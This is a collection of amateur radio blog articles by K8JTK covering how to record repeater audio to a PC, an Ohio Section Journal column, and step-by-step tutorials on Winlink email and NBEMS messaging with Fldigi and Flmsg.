A base station, mobile radio, or radio scanner is best depending how long you plan to monitor the other station. An HT or portable scanner will work but will likely need an external power source. Find a radio with a 3.5mm standard headphone / speaker jack. Nearly all ham radios made in the last 30 years will have this. The speaker portion of a Speaker & Mic jack will be the 3.5mm connector. Newer modern radios utilize a soft power switch (meaning it doesn’t physically cut power to the device) but rather power state is controlled through electronics. Turn of any of these (or related) settings: auto power off, power save, and turn off display and keypad lights. APO turns off the radio when idle which will disrupt recording. Power Save reduces current drain on the radio but takes longer for the radio to respond when a signal is received. This results in a missed word or two at the begging of a transmission on the recording. Turn down or off LCDs or any display lights as there is no need to shorten the lifespan while the radio is used unattended.

A 3.5mm to 3.5mm cable is need to go between the radio and computer or other recording device. These can be found at a local hamfest, on the Internet, or look at Monoprice for good prices. Either a TRS cable or TS cable can be used, these are known as a stereo or mono cable. The radio will often output only one channel. A radio connected to an audio interface, like for digital modes, is not ideal unless you’re monitoring sideband or AM. Audio from the digital port will be un-squelched and nearly impossible to utilize VOX or sound activated features.

Inexpensive USB Sound Card

Recording to a PC is the most versatile solution. Plug the audio cable into the Line In jack of the PC. If another sound card is needed, the very cheap USB sound cards available for a couple bucks will provide another audio input. In my experience, audio out of these inexpensive USB sound cards is very noisy while the audio input is quiet. Don’t need audio out so the noise problem doesn’t matter. The audio/speaker out level from the radio will be adjustable via the volume control. Set that at about half or 50%. On the computer, go into the Sound settings in the Control Panel. On the Recording tab, find the audio device – “Line In” on most PCs, “Microphone” on the USB devices. Set the Level to 50 in Windows. Linux doesn’t seem to distort audio as much and can be set at 100%. Line In audio may need to be boosted while Microphone connections will likely need to be turned down. The setup I have with the inexpensive USB sound card is set at 7 (out of 100) with the radio at 50%.

VOX is a voice activated switch in traditional radio operation but it’s really an audio level reaching some threshold which then activates the transmitter. In this context the program would start recording. VOX is nice because it eliminates long pauses on FM. A repeater may only be used 10% a day. The resulting recording will not be 90% dead audio. VOX is useful but may miss a second or so before initiating recording. Long pauses during the transmission, where the audio would fall below a threshold, will stop recording momentarily. When the VOX threshold is set too low, you may record unwanted static bursts. HF is very difficult to set a threshold because there is no squelch on sideband. Some kind of log is useful to determine when a repeater is used or will be needed for documenting interference issues. Another option is a real-time recording. A lot of extra hard drive space is required for these extended audio recordings in real-time. A more on this later.

Audacity

For Software, Audacity is pretty flexible and free. It can do real-time, timer recording, and VOX. Once Record is pressed, it will run until it’s out of hard drive space. The Timer Recording feature will start at a specific time and continue for the duration. This is useful when recording a net. Timer is found under Transport -> Recording -> Timer Record. The VOX-type feature called “Sound Activated Recording” is found under Edit -> Preferences -> Recording. It does not have a logging feature, though.

Scanner Recorder

The program I like for monitoring a repeater is Scanner Recorder. It is a VOX program that is simple to use but configurable enough to delay a couple seconds after the signal disappeared. The clock, amount of time elapsed since recording began, and length of recorded audio is quite nice to see how busy is the frequency. It does have a logging feature showing date, time, duration, and relative time in the audio file.

Recording settings is a matter of quality tolerance and preferences. Sample rate is measured in Hz. For voice recordings, 11 kHz or 22 kHz is good. Recording raw digital signals such as MT63 or P25, use 48 kHz. Space requirements for uncompressed (WAV) mono audio at 16-bits:

  • 48 kHz: 350 MB/hr
  • 22 kHz: 170 MB/hr
  • 11 kHz: 80 MB/hr

When using VOX, the per-hour rate only applies when the program has recorded an hour of audio.

The ham asked about recording with a rolling buffer. A rolling buffer would record over itself when it reaches a specified length. I don’t know of any programs that will accomplish this but I did find an Android app called Echo that seems to meet the requirement. It’s not available through the Google Play store, unfortunately, requiring the alternative app store F-Droid to be installed first.

Do plenty of tests and dry-runs first to check audio levels for overmodulation of the recording. You can use this setup for fun, documenting interference and bozo issues, or for finding out how often a repeater is used. On second thought, you probably don’t really want to know the answer.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – November 2018 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Scott – N8SY and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Scott has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at: http://arrl-ohio.org/news/2018/OSJ-Nov-18.pdf

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

A couple years ago, Medina county asked me to create a training session for them on how to use Fldigi specifically for NBEMS. Recently, Lorain county ARES encouraged participants to utilize NBEMS methods. NBEMS stands for Narrow Band Emergency Messaging System. It is a set of standards for the ham radio community to communicate with each other using text and E-mail type traffic. Standards are good to have so there is not a situation where different groups use different digital standards and cannot communicate between themselves.

Two hams are responsible for the NBEMS standards: Dave – W1HKJ, author and maintainer of the Fldigi suite of applications, and Skip – KH6TY, author of one of the first PSK applications, Digipan. Their idea was to have a prolific digital communication standard that followed these important principals:

  • Utilize radios, software, and hardware that are used in every day ham radio (familiarity)
  • Inexpensive. All can participate. Older computers can be used.
  • Simple. No steep learning curve in an emergency situation but flexible.
  • Independent of infrastructure

To make digital interaction possible: a radio, computer, interface between the two, and software to tie it all together is needed. An interface is typically a device like the SignaLink or RigBlaster. One nice thing about NBEMS, it’s possible to operate MT63-2KL by holing your radio up to the computer. This means a separate interface is not required. It’s great in a pinch but doesn’t provide an ideal operating situation.

Fldigi is a modem application. It modulates and demodulates – what sounds like noise – into data. Flmsg, used in conjunction, is a forms manager. It allows you to create and reply to standardized forms and verify reception through a checksum. A checksum is an algorithm used to detect errors in storage or transmission. Standard forms included are ICS, IARU, Radiogram, or the ability to send CSV data. CSV is a plain-text file that stores tabular data with each line being a single record contains one or more fields separated by commas. In NBEMS, CSV is a low-bandwidth way to transfer Excel documents without formatting and extra Meta data. As an example: a Excel document can be 17 kB in size but the same data exported to plain-text CSV is only 5 kB.

Tim – NC8OS, EC for Lorain, asked if I would give an Fldigi training session, which I was more than happy to do. A few years passed since I gave similar training in Medina. A number of changes have happened and it was time to update my presentation. Changes include much more frequent (and not always stable) Fldigi and Flmsg updates, changes in work flows – especially within Flmsg, and I have gained more experience interacting and interfacing with digital nets across the country.

Fldigi had some cosmetic changes, mostly around the menus and configurations. Workflow changes in Flmsg seem like they could be beneficial but were poorly implemented. Luckily, we can go back to familiar behavior. Most important lesson I’ve picked up: all these whiz-bang things are tools. This or any other technology needs to be played with to figure out how it can be best utilized (offering a real advantage), how it can be utilized efficiently, and have people who know how to use these tools. Groups are finding digital operators are ones who have the least amount of problems and greater success during drills than someone who hasn’t opened the application in 6 months. This, too, means someone who wants to become successful needs to practice, practice, and practice by operating, participating in practice nets or starting one if one is not available.

For my presentations and training, I feel people get much more out of a hands-on session. I encouraged participants to bring their stations or go-boxes which helped facilitate a great question and answer session to address a good number of problems. Eric – N8AUC, DEC for District 10, was on hand to answer questions as well. We accomplished a lot, answered a lot of questions, and got them on the right track.

I learned that I need to be figuring out interactions with this combination of hardware, software, and Windows 10. As more people are upgrading, replacing computers, or purchasing new devices this means more questions and issues will center on the most widely used operating system platform. Though I have stopped using Win 10 in favor of Linux, I do need to spend time with it to better answer those types of questions.

Thank you to Lorain ARES for allowing me the opportunity to pass on knowledge about digital and NBEMS. My presentation is available online on my website. Contact me about setting up a training session with myself or a Technical Specialist if you would like to host a session on NBEMS.

Speaking of Technical Specialists, another meeting night idea for your club is to hold a “Test and Tune Night.” Dave – KD8TWG hosted one of these events for LEARA. It usually ends up being a “Test and Test Night” because the operating manual does not have the information on how to make adjustments. Those are found in a Service Manual. Professional test equipment was on hand including Service Monitors, wattmeters, and analyzers to test radios, scanners, and coax. Dave could tell you if that $30 Baofeng is compliant with spectral requirements. VERY good chance it won’t be.

Dave reminded all of us that Part 97 certifies us as operators to be compliant with the rules. This allows us to build our own radios and not have to do something crazy like file a testing and compliance report with the FCC for a home brew project. Just because the radio ‘sounds good,’ ‘does everything I need,’ or ‘was cheap’ doesn’t mean it works correctly especially when transmitting. It is up to each of us as hams to make sure our equipment is compliant. Contact Dave or myself to help get a Test and Tune night for your club.

It’s that time of year again! For the 13th consecutive year, The 3916 Nets will be presenting The Santa Net on 3.916 MHz. Good girls and boys can talk to Santa Claus, via amateur radio, nightly at 8:30 PM (Eastern) starting Friday, November 23, 2018. The Santa Net will run nightly at 8:30 PM Eastern through Christmas Eve, December 24, 2018. This fun opportunity is great for connecting kids or grandchildren with the Head Elf himself. Details and updates will be made via their Facebook group: https://www.facebook.com/3916santanet/.

Thanks for reading and 73… de Jeff – K8JTK

NBEMS – An Introduction Using Fldigi and Flmsg presentations

I was asked to give a presentation on using Fldigi and Flmsg in NBEMS — Narrow Band Emergency Messaging System (or Software).

Framework

The framework I chose to use for the presentation slides is called reveal.js. It is an HTML framework meaning it will run in any HTML 5 capable browser. Looks a little better than a PowerPoint presentation.

Navigation

Useful navigation keys in the presentation. In addition to navigating with the keys below, you can swipe (tables/smartphones) or use the navigation arrows on screen in the lower right.

Toggle full screen: press [F11].

Advance to the next slide: press [n] or [SPACEBAR].

Go back to the previous slide: press [p] or press and hold the [SHIFT] key while pressing the [SPACEBAR].

Display presentation overview: [ESC] then use the arrow keys or mouse to select a slide. [ESC] again will exit overview mode.

Links

Clickable links are colored in blue text.

Presentations

Three variations are available: presentation version is viewable in a browser. Printable version for printing or saving in a different format (Chrome, Chromium, and variants compatible only). Finally a PDF version.

They may take some time to load because I left original images untouched and some were a couple MB in file size.

Slides

Introduction to NBEMS

The presentation is about 60 minutes in length.

Presentation version
Printable version
PDF version

This presentation was given at the following meetings:
Lorain County ARES on 10/21/2018.

VHF/UHF NBEMS

This is an older version without the HF information.

The presentation is about 60 minutes in length.

Presentation version
Printable version
PDF version

This presentation was given at the following meetings:
Medina County ARES on 11/10/2015.
Mansfield Hamfest on 2/21/2016.

Digital Communications in Amateur Radio: Winlink

This article appeared in the The Wood County Amateur Radio Club newsletter CQ Chatter February 2018 edition.

Read the rest of the series in the Digital Communications in Amateur Radio articles category.


Hurricane season wasn’t particularly fun in 2017. We had both extremes. Houston got hit with Hurricane Harvey which required little response from the ham community. Infrastructure stayed online. Disruption to communication systems and Internet was minimal. This left many hams wondering, ‘are we at the point where our infrastructure is stable enough to survive a category 4 hurricane?’ ‘Are hams still relevant since we were not needed for this type of event?’ We got the answer to those questions over the next month with two category 5 hurricanes. Irma impacted the state of Florida and Maria devastated the relatively poor U.S. possession of Puerto Rico. We went from wondering if ham radio was still relevant in emergency situations to rethinking training for extended deployment scenarios, all within a matter of weeks.

Ham radio news sources pointed out many communication techniques were utilized getting traffic in and out of affected areas. An ARRL press release indicated “Maxim Memorial Station W1AW at ARRL Headquarters is monitoring the HWN, 60-meter interoperability channel 2, and Winlink for any traffic.” Winlink gained prevalence in ham news media due to these disasters, gained popularity in emergency communications circles, and became an operating requirement for hams that assisted in Puerto Rico. Winlink is a very powerful and flexible system for exchanging all types of messages.

“Winlink (also known as Winlink 2000) is a worldwide radio messaging system that uses amateur-band radio frequencies to provide radio interconnection services that include email with attachments, position reporting, weather bulletins, emergency relief communications, and message relay” (Wikipedia). In other words, Winlink is a global email system via radio. The backbone uses the Internet for communication but users do not need an Internet connection. This makes the system popular in Emcomm when the Internet is not available. Winlink was first used recreationally by mariners, RV campers, and missionaries. The entire system is run by volunteers and a 501(c)(3) not-for-profit organization. Though similar in name, the “WIN System” is a popular IRLP repeater system based in California and entirely different.

https://www.winlink.org/content/getting_started_winlink_and_winmor

The Winlink system consists of multiple Common Message Servers (CMS) on multiple continents thought the world. The CMS servers form a “star” network configuration to coordinate traffic and provide services like email, webmail, telnet, bulletins, and reporting. Each CMS is a mirror image of the others for redundancy, failover, and outage situations. The Internet, by design, can work around outages. To date, there has been no global outage of the Internet – only regional. Having multiple servers, with redundant copies of the same data, means one or more could be affected by an outage and the system still functions. As of November 1, 2017, the CMS servers have been moved into the Amazon Web Services (AWS) cloud for greater redundancy.

Remote Message Servers (RMS) are scattered throughout the world and are the RF connection into the Winlink system. RMS gateways access the resources of the CMS servers via the Internet. These nodes are provided by hams familiar with the system and are setup on many ham bands (HF, VHF, UHF). On VHF/UHF, connectivity is limited to local clients. HF gateways serve a wider area but depend heavily on band conditions.

Finally, your computer runs the client software which interacts with services provided by the CMS, most often through an RMS gateway. The client software sends and receives messages. Size is limited to 120KB maximum, including attachments. Winlink uses a “store and forward” approach to messaging meaning clients are not constantly connected to an RMS or CMS gateway.

There are currently 6 client software applications available for Winlink. A feature comparison is available at: https://www.winlink.org/ClientSoftware. Winlink Express (formally RMS Express) is the preferred client because it’s developed by the system administrators and supports all features of the system. The software is well supported and frequently updated. The application looks and operates much like a stripped-down email client. Using a familiar email interface makes the application easy-to-use. Though free to download and use, Winlink Express is nagware. It will frequently prompt to purchase a key supporting development of the system. Registration of $24 is encouraged but not a requirement to use Winlink.

Winlink Express interacts with a wide selection of transceivers, provides different operating modes (PACTOR, Packet, Telnet, WINMOR Virtual TNC), and offers different connection methods (relay over mesh and D-STAR networks). It can be operated in any of four general methods:

  • Winlink: access messages on the CMS via an RF connection to an RMS gateway using the Internet.
  • Peer-to-Peer (P2P): messages exchanged directly with other users over RF, Internet, or mesh without the use of a RMS or CMS.
  • Radio-only: messages transferred between HF RMS gateways – without use of the Internet.
  • Telnet Post Office: connects to the CMS directly over the Internet.

A growing library of forms is available for ARES, RACES, SHARES, or MARS organizations including ICS, ARRL, and form types used in Ohio. The advantage of Winlink versus NBEMS is the ability to exchange messages over the public Internet. A form could be emailed directly to a government official instead of relayed via another ham. Winlink Express makes it easy to fill out or reply to forms by utilizing the local web browser. When composing a message, these forms are found under “Select Template.”

A “Query Catalog” accesses services provided by the CMS such as weather and marine forecasts, news, and propagation reports. Location coordinates can be reported through Winlink as well.

Winlink Express will work on a modern computer or Windows tablet running Windows Vista or later. The WINMOR Virtual TNC requires a 700 MHz or greater processor and 512 MB RAM or more due to the Digital Signal Processing (DSP) needed. An Apple or Linux version of Winlink Express is not available but it can be run using a virtual machine or dual-boot configuration. A Linux client is available but does not support all features.

This series primarily focuses on soundcard modes over HF and I will be discussing the WINMOR Virtual TNC. WINMOR is a low-cost interface utilizing the SignaLink USB for $120 as opposed to a PACTOR 3 dedicated hardware modem which can run $1,100 – $1,600. Low-cost hardware means tradeoffs. WINMOR is not anywhere near as fast or reliable as a PACTOR 3 modem, but it does a very good job.

To get started, first go to: ftp://autoupdate.winlink.org/User%20Programs/. Download two programs from the list of files: latest itshfbc program and Winlink_Express_install. ITS HF Propagation is prediction software to provide a rough estimate of the signal path quality between your QTH and remote RMS. Install both applications, order doesn’t matter. Click “next” through both installs, accepting defaults.

An Internet connection is required on the computer for initial setup. After starting Winlink Express, a “Winlink Express Properties” configuration will be seen. If not, click Settings, Winlink Express Setup. At a minimum the following fields must be completed: callsign, choose a password, enter a non-Winlink password recovery email, and grid square. Under Service Code, if you plan on using EMCOMM channels, make the code read: PUBLIC EMCOMM

I recommend checking Display list of pending incoming messages prior to download. This will display incoming message details prior to download allowing the user to select or reject messages based on size or sender. Click Update. An account will be setup on the Winlink system. The Winlink email address won’t become active until a message is sent through the CMS gateway. Click Remind Me Later on any Winlink Express Registration screens.

To create a message activating the Winlink email address, click the New message icon or click Message, New Message.

In the To field, enter your real email address. In the Subject field, enter something like “My first Winlink message.” In the message body, enter something like “This is my first Winlink message, whoo hoo!”

The message is ready to send, but wait! There is no “send” option. What gives?!? Since this system is store-and-forward, messages are Post to Outbox and appear in the “Outbox” System Folder. Messages in outbox can still be edited but will be sent when connected to a CMS.

Next to “Open Session,” in the drop-down select Winmor Winlink. Click Open Session.

Two more boxes will appear: “WINMOR WL2K Session” and “WINMOR Setup.” The WINMOR WL2K Session box is where an RMS gateway is selected and it displays the connection status.

You will be prompted to select the Capture and Playback soundcard devices in the WINMOR Setup box. For the SignaLink, select USB Audio CODEC. Leave all other settings at their defaults. Click Update. A third “WINMOR Sound Card TNC” box will appear. This window shows a waterfall along with transmit and receive state of the virtual TNC. Ignore this box for now.

On the SignaLink, begin with the TX and RX volume knobs set to the 12 o’clock position. Set delay (DLY) to the 2nd tick-mark (8 o’clock position).

If you have a way to control your radio through CI-V commands or equivalent, click Settings, Radio Setup, and configure the settings for the radio. Radio control makes it much easier when selecting different RMS gateway stations. Selecting a different station will automatically change the radio’s frequency and mode. With a VOX device like the SignaLink, for “PTT Port” select External. Click Update.

Back in the WINMOR Winlink Session box, click Channel Selection. An “HF Channel Selector” window will open. A message will ask to ‘update the channel list and recompute the propagation estimates now?’ Click Yes. If not asked, click Update Table Via Internet. This table will update with the current list of Winlink RMS gateway channels on HF. The list can be updated over radio in the future if desired.

Once updated, the presence of color in the “Path Reliability Estimate” and “Path Quality Estimate” columns mean the ITS HF Propagation predictor program is installed and working. Calculations are based on your grid square and solar flux index. Update the current grid square in Winlink Express setup and this table often when traveling. “Mode” is the bandwidth of the RMS node. A higher number means faster transfers are possible. “Hours” means the hours each day the node is online. “00-23” is all day, “02-13” is 02:00 – 13:00. The rest is self-explanatory.

To select a particular RMS gateway, double-click that row in the table. Gateways in green are good choices but ones at the top of the list may not always provide the best connection. Reliable gateways are found by trial and error and can be added to the “Favorites” list. If Rig Control is enabled, the radio should tune to the dial frequency of the RMS gateway and enter USB mode. If not, tune the radio’s display frequency to the “Dial Freq” (VERY important!) shown in WINMOR. Warm up the Tuner if it needs it. Remember to use no more than 30% power. Click Start.

If WINMOR thinks the channel is busy, it will prompt to verify you still want to connect because your transmissions maybe interfering with another station. Your radio will start pinging the remote RMS gateway station. In the WINMOR Sound Card TNC, above the receive indicator will be the “Measured T>R Latency” value. This measures the transmit/receive turnaround time. This should be less than 250ms and adjustable in part by the SignaLink DLY knob. Higher values will cause problems receiving from the RMS gateway. While receiving transmissions from the gateway, adjust the RX knob to a level that falls within the green portion of “Rcv Level.”

With any luck, your client will connect and your first Winlink message will be sent! There will be A LOT of back-and-forth (TX/RX switching) between your radio and remote RMS gateway. These are handshaking and acknowledgments or sending/receiving messages. When all messages are exchanged, the client will automatically disconnect from the RMS gateway. Clicking “Stop” will gracefully disconnect and ID at any time during a session. “Abort” should only be used when something is very wrong because communication is terminated immediately (without ID). Attempts will be made by the RMS to reestablish communication with the client before eventually timing-out.

Once the test message is received in your actual email, your new callsign@winlink.org email address is now active! Send a reply to the test message through your real email. To call a different RMS gateway, click Channel Selection and select a different station. Wait 5 minutes or so for the reply email to reach the Winlink CMS. Click Start in the WINMOR Winlink session box. You will see your reply downloaded to the inbox! When replying to lengthy messages, I will keep a few sentences (paragraph at most) of the original message. This keeps the transmission time down. The original sender can look at the full message in their client sent folder.

Before going crazy telling people to send messages, there is one crucial piece to this system. Winlink uses a “whitelist” (approved senders list) approach for external email addresses. This keeps abuse and spam to a minimum. As a Winlink user, you are free to send messages using your Winlink address to other Winlink users. Other Winlink users can do the same, freely contacting you.

External email addresses are handled very different. An external email is any mail system other than Winlink (Gmail, Outlook, DACOR, Buckeye Cable, BGSU, etc.). If you first send a Winlink message to someone@someprovider.com, that email address is automatically added to your Winlink whitelist. That means email from someone@someprovider.com will be delivered to your Winlink inbox.

For an external email address to send you a message unsolicited to Winlink, there are two options: add that email to your whitelist ahead of time or the sender must put “//WL2K” in the subject line. Example: “//WL2K Holiday Meeting.” Anything with //WL2K in the subject is considered a deliverable message and will not be flagged as unauthorized. By default, all outgoing messages have this inserted automatically by Winlink Express. When some individual replies to your message, which would have //WL2K in the subject, it will be accepted. Any non-whitelisted (blacklisted) addresses or messages without //WL2K in the subject, the sender will receive a bounced error message saying “Sender not authorized for any recipient.”

Whitelists can be managed by logging on to the Winlink My Account page and click My Whitelist. That page will provide details how to update the whitelist using client commands, if desired.

Another important detail to remember, there is no expectation of privacy with the Winlink system. RMS gateway owners and Winlink administrators can read messages exchanged through the system. They are looking for Part 97 violations and inappropriate usage of the system. Violators will be blocked. I’m sure they would find details of your camping trip fascinating, but they really don’t care.

Email messages through this system are considered 3rd party traffic under Part 97. The email message resides on the CMS until you (a ham) make a connection to another ham’s station (RMS) to retrieve your messages. This is similar in nature to passing messages over the National Traffic System (NTS).

The list of services available through the Winlink system is extensive. Winlink is quite flexible allowing many different ways to access the system over RF, APRS, or Internet. Feel free to send a message to my Winlink email address, K8JTK—at—winlink.org. Replace “—at—” with the appropriate email symbol. Don’t forget to include //WL2K in the subject!

Find out more information:

Winlink website: https://winlink.org/

Introduction presentation: https://www.youtube.com/watch?v=UTx9pY1Akl8

Resource for beginners: https://www.winlink.org/content/getting_started_winlink_and_winmor

System tutorials, documents, and FAQs: https://www.winlink.org/content/winlink_book_knowledge

Terminology of the system: https://www.winlink.org/glossary

Winlink over APRS: https://www.winlink.org/APRSLink

Digital Communications in Amateur Radio: Narrow Band Emergency Messaging System (NBEMS)

This article appeared in the The Wood County Amateur Radio Club newsletter CQ Chatter August 2017 edition.

Read the rest of the series in the Digital Communications in Amateur Radio articles category.


Have you ever been involved with an EmComm/ARES drill and heard digital tones as forms were being passed over a repeater? You may have wondered what application are they using, what mode, or how do they know what form is being sent? Chances are they utilized an established standard called NBEMS. The Narrow-Band Emergency Messaging System was created to pass text based messages and forms used by hams and other served agencies over Amateur Radio. Technicians, listen up! NBEMS includes standard modes for HF SSB and is very popular on VHF/UHF FM.

NBEMS was established in collaboration between David Freese, Jr. – W1HKJ who created and maintains the Fldigi suite of applications and Skip Teller – KH6TY who created DigiPan, a popular PSK application. The philosophy specifies utilizing radios, software, and hardware readily available and widely used in ham radio. Older equipment and older computers can be used meaning it would be relatively inexpensive. There would be no steep learning curve but flexible in an emergency situation. Finally, must be independent of infrastructure. No need for Internet, nodes, or existing communications systems. Power the computer, radio, interface, and you’re off-and-running.

Interfaces between the computer and radio used for other digital modes work best. In accordance with the flexible and inexpensive philosophy, another option is available: no interface at all. That’s right, you don’t need any interface between a computer and radio in order to communicate. To receive data, the radio speaker is held to the computer microphone. To transmit, the radio microphone is held to the computer speaker. This method is called an “acoustic interface.” It’s a game saver in a pinch, doesn’t require any additional hardware, and allows anyone with a radio and PC to participate. The digital protocols used are robust enough to deal with ambient noise, casual conversations, too much audio, too little audio, and still be able to decode 100%.

Though operating without an interface sounds like the best of all possible options, there are serious drawbacks. Transmitting (PTT) is done manually. Longer messages mean the operator has to hold PTT in longer. If their finger accidentally slips off the button, the message needs to be retransmitted. The operator needs to be more attentive to the station where it’s possible they may become distracted and miss messages. In a conference or war room, transmitting and receiving messages acoustically adds a layer of disruption to the setting. A connected interface would handle the keying, always provide audio to the computer for decoding messages – even while away from the station, and would not generate any additional noise effectively allowing the station to be completely quiet. As a whole, digital modes are not designed to work through an acoustic interface because most are sensitive to noise. Noise introduces errors making all or part of the transmission unrecoverable. An acoustic interface is a good way to practice or start, though the efficiency of a connected interface will soon be realized.

NBEMS utilizes two different modes: VHF/UHF uses MT63-2000L, HF uses Olivia 8/500. Both were developed by Pawel – SP9VRC.

It is surmised that 25% of the characters in an MT63 transmission can be lost and the receiving station will still have a perfect copy. This is achieved by encoding characters over the time and frequency domains for robustness. In addition, the “L” versions have additional (long) interleaves providing even more error correction. MT63 is very forgiving of audio levels and tuning errors making it a great choice for EmComm. The suffix indicates bandwidth used, 2000/2K means 2 KHz. Transfer rate is about 1 KB/minute.

Olivia 8/500 is used on HF because signals can be decoded below the noise. Low power and QRP stations can communicate nearly as effectively as a higher power station. A channelized approach is used because signals below the noise can be decoded but not heard or seen on the waterfall. The 8/500 indicates 8 tones utilizing 500 Hz of bandwidth. Fldigi suite reverses these in places, 500-8. Transfer rate is about 170 bytes/minute.

A common question brings up the issue of popularity. PSK31 and JT65 are two popular modes on HF. Both are not used in NBEMS because there is no error correction for weak or fading signals in PSK. A faster, multicarrier PSK-R (for Robust) mode is occasionally used in NBEMS but I have not seen many groups use it as an established standard. JT65 is limited to 48 second timed transmissions of 13 characters which is not efficient for data transfer.

Two applications are synonymous with NBEMS: Fldigi and Flmsg. In the last article, I talked about Fldigi being one of the more popular multimode applications. Flmsg is another application in the Fldigi suite that manages forms. It can be used to send standardized agency forms like ICS, Red Cross, or MARS. Forms developed by local agencies can be coded as a “custom form.” Plain text (.txt) and comma-separated (.csv) files can be transferred. Sticking to the inexpensive and flexible philosophy, the entire Fldigi suite of applications are free, open source, and cross platform available on Windows, Mac, and Linux including Raspberry Pi. Custom forms are a popular use of Flmsg however, these forms need to be disseminated or available online ahead of time.

Other applications like DM780 and MultiPSK can send and receive both MT63 and Olivia. These don’t have provisions for managing forms or validating transmissions. Fldigi and Flmsg are integrated seamlessly to pass data between the form manager and modem application.

A very important behind the scenes, but not often discussed feature in NBEMS is the checksum. In computing, a checksum is used to detect errors in transmission or in storage. Flmsg automatically generates and includes a checksum as part of the message with each transmission. Receiving stations calculate a checksum value based on the data received and compare it against the value included in the message. This is an ease-of-use feature letting receiving stations know if they received a prefect copy of the message. If the checksum matches, Flmsg will open displaying the form or message. If the checksum fails, this means an error was introduced in transmission. As a result, the message will not open or a “Checksum failed” prompt will be seen.

Example message:

... start
[WRAP:beg][WRAP:lf][WRAP:fn K8JTK_Digital_Communications_in_Amateur_Radio-_NBEMS.p2s]<flmsg>4.0.2
:hdr_fm:21
K8JTK 20171807024326
:hdr_ed:21
K8JTK 20171807024320
<plaintext>
:tt:46 Digital Communications in Amateur Radio: NBEMS
:to:6 Reader
:fm:5 K8JTK
:dt:10 2017-07-17
:tm:5 2233L
:sb:12 Demo message
:mg:44 This is an example message in an NBEMS form.
[WRAP:chksum 2CBF][WRAP:end]
... end

A checksum value is included in the “WRAP” tags and is 2CBF for this message. Upon receipt of this message, Fldigi automatically calculates a checksum for verification. If it arrives at the value of 2CBF, the message was received perfectly.

There are limitations of NBEMS that users and served agencies need to be aware. To meet FCC requirements, all data must be transmitted within 3 minutes on a repeater with a standard time-out-timer or 10 minutes on simplex. This means a maximum file size for MT63-2KL on a repeater is 3,000 bytes and 1,700 bytes for Olivia 8/500 on simplex. These properties severely limit the content that can be transferred to text. Word documents need to be converted to TXT and Excel spreadsheets to CSV files in order to save bandwidth. There are not many useful images, Word documents, Excel spreadsheets, and executable programs under 3K. This makes high-resolution images and large data transfers impractical using NBEMS. Remember, it is a Narrow-Band Emergency Messaging System.

Reminder: review the first two articles in the series for information that will be omitted here including some modes operate your transceiver at 100% duty cycle, use upper sideband (USB), and don’t drive the transmitter with too much audio as the signal will be wider than intended. Operating data over FM is the same as operating voice and does not change the duty cycle of the radio. However, operating FM at high power for prolonged periods of time is considered extreme for most radios and will likely shorten the life of the transceiver. In addition, review the fourth article on “Conversational Modes” as Fldigi was covered.

With Fldigi setup and working, download and install Flmsg from http://www.w1hkj.com/. To prepare Fldigi for VHF/UHF NBEMS, click Op Mode, select MT63, and click MT63-2000L. MT63-2000L is also abbreviated as MT63-2KL in other places within the Fldigi suite. These are the same, 2K = 2000. With MT63-2KL selected as the active mode, now center the receive window on the waterfall at 1500. 1500 Hz is the standardized center frequency. For HF NBEMS, replace MT63-2000L references with Olivia 8-500.

Fldigi passes data to Flmsg for decoding and displaying. Fldigi needs to know where to find the Flmsg installation. In Fldigi, click Configure, select Miscellaneous, then click Misc to enter the Miscellaneous program options. Finally, click the NBEMS tab. In newer versions of Fldigi (later than 3.23.0), uncheck the Transfer direct to executing flmsg. Open with flmsg and Open in browser should be checked if they are not already. Now click Locate flmsg. Depending on the version of Windows, the default installation location for Flmsg will be C:\Program Files (x86)\flmsg-x.x.x or C:\Program Files\flmsg-x.x.x. In that directory, select the flmsg application, click Open. Click Save, then Close.

“x86” is a Windows designation to differentiate 32 bit from 64 bit applications on a Windows 64 bit installation. “x.x.x” is the version of Flmsg. Each time a new version of Fldigi, Flmsg, or any other Fldigi application is installed, it is kept in a separate directory with the version appended. Alot of versions can accumulate on a system if frequently updated. Anytime uninstalling or using a new version of Flmsg, the steps above for “locating flmsg” need to be repeated.

Start Flmsg. A dialog prompting for the selection of a “Default User Interface” will be seen on a new installation, click Communicator/Expert. Station information will be requested. These are used as inputs for some forms. Call sign should be filled in as a minimum. Click the red “X” when done filling in station information. At the bottom of the main Flmsg window is the mode selector. Click the down arrow and select MT63-2KL.

Configuration is done!

To use Flmsg, a blank Radiogram will open initially. To select a different form, click Form. Different types of available forms are categorized: ICS, MARS, Radiogram, Red Cross, weather, and custom forms loaded will be available from this menu. Choose any form for practice. Standard practice is to note somewhere in the form that this is a “test,” “practice,” or “drill.” As with voice, someone may mistake the transmission for a real message.

Once the form is filled out, set your radio to the appropriate frequency and open Fldigi if it is not already. Set it to MT63-2KL centered at 1500. Verify the mode selected in Flmsg is MT63-2KL. Click AutoSend. The file must be saved before it will transmit. Once the file is saved, transmission will begin automatically. Get into this habit of checking transmit frequency, Fldigi configuration and Flmsg configuration before clicking AutoSend. Otherwise you will inadvertently transmit on a different frequency or in a different mode. It happens to everyone eventually.

Receiving stations only need to open Fldigi. They will first see the message appear in the Fldigi receive pane. The form type is transmitted as part of the message. In the example message, <plaintext>. The lines begin with the form field name and check of the number of characters in that field. “:fm:5 K8JTK” is the “from” field with a check of 5 characters, “K8JTK“. When completed, an Flmsg window will open. The form will also be rendered in the default web browser. Receiving stations don’t have to do a thing except wait for the transmission to complete. If the next message received is a Radiogram, Flmsg will automatically open a window and browser page displaying the Radiogram format.

